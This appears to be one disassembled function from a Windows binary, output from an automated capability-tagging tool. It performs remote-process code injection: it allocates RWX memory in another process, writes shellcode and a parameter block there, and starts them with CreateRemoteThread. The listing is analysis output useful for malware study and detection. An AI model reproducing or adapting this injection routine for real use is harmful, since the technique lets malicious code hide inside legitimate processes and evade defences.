Function at 0x45dd1c
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd9c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x264], ebx
mov byte [ebp - 5], cl
mov ebx, edx
mov dword [ebp - 4], eax
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x260]
xor eax, eax
push ebp
push 0x45e0a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 6], 0
mov eax, 0x1000
call fcn.004026fc
mov dword [ebp - 0x18], eax
mov eax, esi
mov edx, 0x238
call fcn.00406fe0
mov edx, 0x1000
mov eax, dword [ebp - 0x18]
call fcn.00406fe0
xor eax, eax
push ebp
push 0x45e080
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x1000
push 0x1000
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x45ddb1
call fcn.00404060
jmp 0x45e087
push 4
push 0x1000
push 0x1000
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x45dddb
call fcn.00404060
jmp 0x45e087
push 4
push 0x1000
push 0x238
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x45de05
call fcn.00404060
jmp 0x45e087
lea eax, [ebp - 0x24]
push eax
push 0x1000
push 0x45db70
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x45de2e
call fcn.00404060
jmp 0x45e087
lea eax, [esi + 0x30]
mov edx, dword [ebp + 0x14]
call fcn.00408c5c
lea eax, [esi + 0x135]
mov edx, dword [ebp + 0x10]
call fcn.00408c5c
cmp bl, 1
cmc
sbb eax, eax
mov dword [esi + 0x18], eax
cmp byte [ebp - 5], 1
cmc
sbb eax, eax
mov dword [esi + 0x1c], eax
push 0x45e0b4
call sub.kernel32.dll_LoadLibraryA
mov dword [ebp - 0x28], eax
push 0x45e0c4
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x20], eax
push 0x45e0d4
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x24], eax
push 0x45e0e8
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x28], eax
push 0x45e0f4
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [esi + 0x2c], eax
mov eax, dword [ebp - 0x14]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x24]
push eax
push 0x238
push esi
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x45ded6
call fcn.00404060
jmp 0x45e087
lea eax, [ebp - 0x24]
push eax
push 0x1000
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_WriteProcessMemory
test eax, eax
jne 0x45defe
call fcn.00404060
jmp 0x45e087
mov eax, 0x487cdc
call fcn.00404578
lea eax, [ebp - 0x20]
push eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CreateRemoteThread
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x45df6f
call sub.kernel32.dll_GetLastError_1
mov ecx, eax
mov dl, 1
mov eax, dword [0x45cfb4]
call fcn.0045d1b4
mov ebx, eax
lea edx, [ebp - 0x264]
mov eax, ebx
call fcn.0045d0f0
mov edx, dword [ebp - 0x264]
mov eax, 0x487cdc
call fcn.004045cc
mov eax, ebx
call fcn.00403828
call fcn.00404060
jmp 0x45e087
push 0xffffffffffffffff
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x24]
push eax
push 0x238
push esi
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
jne 0x45dfa2
call fcn.00404060
jmp 0x45e087
lea eax, [ebp - 0x24]
push eax
push 0x1000
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
jne 0x45dfca
call fcn.00404060
jmp 0x45e087
test edi, edi
je 0x45dfdd
mov ecx, 0x1000
mov edx, dword [ebp - 0x18]
mov eax, edi
call fcn.00406fd8
test bl, bl
je 0x45dfe6
cmp dword [esi], 0
jne 0x45dffc
cmp dword [esi + 4], 0
jne 0x45dffc
cmp byte [ebp - 5], 0
je 0x45dff8
cmp dword [esi + 0xc], 0
jne 0x45dffc
mov byte [ebp - 6], 1
mov eax, dword [ebp + 0xc]
mov edx, dword [esi + 8]
mov dword [eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e087
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x18]
call fcn.0040271c
cmp dword [ebp - 0x14], 0
je 0x45e03c
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualFreeEx
cmp dword [ebp - 0x10], 0
je 0x45e056
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualFreeEx
cmp dword [ebp - 0x1c], 0
je 0x45e070
push 0x8000
push 0
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_VirtualFreeEx
cmp dword [ebp - 0x28], 0
je 0x45e07f
mov eax, dword [ebp - 0x28]
push eax
call sub.kernel32.dll_FreeLibrary_1
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45e0a7
lea eax, [ebp - 0x264]
call fcn.00404578
ret